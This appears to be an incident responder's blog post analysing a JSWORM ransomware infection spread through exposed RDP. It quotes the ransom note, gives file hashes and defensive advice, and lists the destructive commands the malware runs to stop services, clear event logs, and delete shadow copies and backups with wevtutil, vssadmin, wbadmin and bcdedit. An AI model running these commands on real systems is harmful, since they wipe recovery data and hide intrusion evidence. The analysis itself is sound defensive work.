Posted on

What’s the story about JSWORM?

Recently, I’ve got a call from an organization that all of their files has been encrypted by a ransomware and they must pay ransom to get their data back. Once I’ve started investigating on some of those PCs & Servers, I found that early in the morning they have too many Logon Failure and then the malware might get access to the server and do it’s malicious job. On the affected computers, all of the available partitions are shared on the name CC, DD, EE, … and currently don’t know why it shared these drives. All of the encrypted files will rename to “File-Name[ID-YOUR-ID][].JSWORM”. For instance, “my-file.pdf” would rename to “my-file[1122334455][].JSWORM”. The attackers left a file inside each directory called “JSWORM-DECRYPT.txt” and it contains an instruction about how to pay ransom and get your files back.


All your files were encrypted!

Your personal ID: 1122334455

>>> Contacts: (in case of no answer)

>>> What should I include in my message?

1. Country

2. List of encrypted drives and their size

3. Extension of encrypted files (.[ID-1122334455][].JSWORM)


>>> Free decryption as guarantee!

Before paying you send us up to 3 files for free decryption.

We recommeded to send pictures, text files, sheets, etc. (files no more than 1mb)


1. Do not rename encrypted files.

2. Do not try to decrypt your data using third party software, it may cause permanent data loss.

3. Decryption of your files with the help of third parties may cause increased price (they add their fee to 

our) or you can become a victim of a scam.




How did I get infected?

From the time of writing this article, I don’t know the first stage of infection, but usually ransomwares are spreading through Untrusted websites, Cracking softwares, SPAM email campaigns. The attackers behind such a these malwares try to convince users to download a file and run it.

As a user, once you run the files, it will try to download the rest of it’s malicious files…, Then it will encrypt your data & usually leave a guide and let you know how to get your data back by paying the ransom.

Should I pay the ransom?

It DOES NOT GUARANTEE that they will help you to decrypt your files. Also they might have some bugs on their encryption methods that they could not able to decrypt your files. Moreover, If you pay, they will get more confidence to continue in this way! So, DON’T PAY RANSOM!

How to be protected against ransomwares?

  1. The most important things about being protected against ransomwares is having a backup. If you don’t know what backup strategies are better for you, just google “3-2-1 backup strategy
  2. Keep your operating systems & softwares updated.
  3. You must protect your computers using an UP-To-DATE Anti-Malware solutions
  4. Don’t download any untrusted files from any source which is UNTRUSTED or SUSPICIOUS

What do we know till now?

Once I noticed that there are too many logon failure on a Server from a client, I started some basic investigation to find some information from that computer. That computer was listening to RDP and it’s responsibility was let some out-of-office employees check things from outside. So, If you have to do this, it’s good to rethink about security. You can let your out-of-office users connect just by using a VPN connections and limit their access to LIMITED resources.

I’ve made a clone from that Virtual Machine and find that a file Build.exe has do the last stage of this attack to decrypt all the files on the affected machines.

This file will run these commands to stop services and will encrypt your files. Then it will remove all the related events & logs. Moreover, It will remove all the previous version of files & folder that shadow copy created before. So, it’s IMPOSSIBLE to recover your files from ex versions.

Commands that build.exe runs:

 /c net stop MSSQLServerADHelper100
 /c net stop MSSQL$ISARS
 /c net stop MSSQL$MSFW
 /c net stop SQLAgent$ISARS
 /c net stop SQLAgent$MSFW
 /c net stop SQLBrowser
 /c net stop ReportServer$ISARS
 /c net stop SQLWriter
 /c net stop WinDefend
 /c net stop mr2kserv
 /c net stop MSExchangeADTopology
 /c net stop MSExchangeFBA
 /c net stop MSExchangeIS
 /c net stop MSExchangeSA
 /c net stop ShadowProtectSvc
 /c net stop SPAdminV4
 /c net stop SPTimerV4
 /c net stop SPTraceV4
 /c net stop SPUserCodeV4
 /c net stop SPWriterV4
 /c net stop SPWriterV4
 /c net stop SPSearch4
 /c net stop IISADMIN
 /c net stop firebirdguardiandefaultinstance
 /c net stop ibmiasrw
 /c net stop QBCFMonitorService
 /c net stop QBVSS
 /c net stop QBPOSDBServiceV12
 /c net stop "IBM Domino Server(CProgramFilesIBMDominodata)"
 /c net stop "IBM Domino Diagnostics(CProgramFilesIBMDomino)"
 /c net stop "Simply Accounting Database Connection Manager"
 /c net stop QuickBooksDB1
 /c net stop QuickBooksDB2
 /c net stop QuickBooksDB3
 /c net stop QuickBooksDB4
 /c net stop QuickBooksDB5
 /c net stop QuickBooksDB6
 /c net stop QuickBooksDB7
 /c net stop QuickBooksDB8
 /c net stop QuickBooksDB9
 /c net stop QuickBooksDB10
 /c net stop QuickBooksDB11
 /c net stop QuickBooksDB12
 /c net stop QuickBooksDB13
 /c net stop QuickBooksDB14
 /c net stop QuickBooksDB15
 /c net stop QuickBooksDB16
 /c net stop QuickBooksDB17
 /c net stop QuickBooksDB18
 /c net stop QuickBooksDB19
 /c net stop QuickBooksDB20
 /c net stop QuickBooksDB21
 /c net stop QuickBooksDB22
 /c net stop QuickBooksDB23
 /c net stop QuickBooksDB24
 /c net stop QuickBooksDB25
 /c net stop tomcat5
 /c taskkill /f /im mysql*
 /c taskkill /f /im IBM*
 /c taskkill /f /im bes10*
 /c taskkill /f /im black*
 /c taskkill /f /im sql
 /c taskkill /f /im store.exe
 /c taskkill /f /im sql*
 /c taskkill /f /im vee*
 /c taskkill /f /im postg
 /c FOR /F "delims = " %%I IN ('WEVTUTIL EL') DO (WEVTUTIL CL "%%I")
 /c net stop eventlog /y
 /c sc config eventlog start=disabled
 /c for /F "tokens = *" %1 in ('wevtutil.exe el') DO wevtutil.exe cl " % 1"
 /c wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0
 /c wbadmin DELETE BACKUP -keepVersions:0
 /c vssadmin Delete Shadows /All /Quiet
 /c vssadmin delete shadows /all
 /c bcdedit /set {default} recoveryenabled No
 /c bcdedit /set {default} bootstatuspolicy ignoreallfailures

On many computers it failed to remove itself but the criminals behind this attack were decided to delete this executable once it did it’s job. Beside that, It won’t check that it’s commands are executed well or not. For instance, it tries to stop SQL Server Services in order to be able to encrypt databases & it fails some time to do that.

Unfortunately I could not find any other files related to this malware and Build.exe did not leave or create any files on the file system. The only change is decrypting and renaming decrypted files to a new name. In addition to that, It does not try to connect to any resources on the Internet.

Information about build.exe

			File Name: build.exe
			Type: PE32 executable (GUI) Intel 80386, for MS Windows
			Size: 378.4 kB (378,368 bytes)
			MD5: a20156344fc4832ecc1b914f7de1a922 
			SHA1: 79c6c6215d2259cda68d40fcfa350971acb53158 
			SHA256: 52389889be43b87d8b0aecc5fb74c84bd891eb3ce86731b081e51486378f58d2


From now on, this is all the things I know from this ransomware and I will keep this post updated once I find anything new…!

Which Anit-malware solution can detect JSWORM right now?

To check that, you can visit this link on Virus Total.

I can imagine you will have great opinions on this article & I really like to know it. So, Just share it by commenting….  😉

Leave a Reply

Your email address will not be published. Required fields are marked *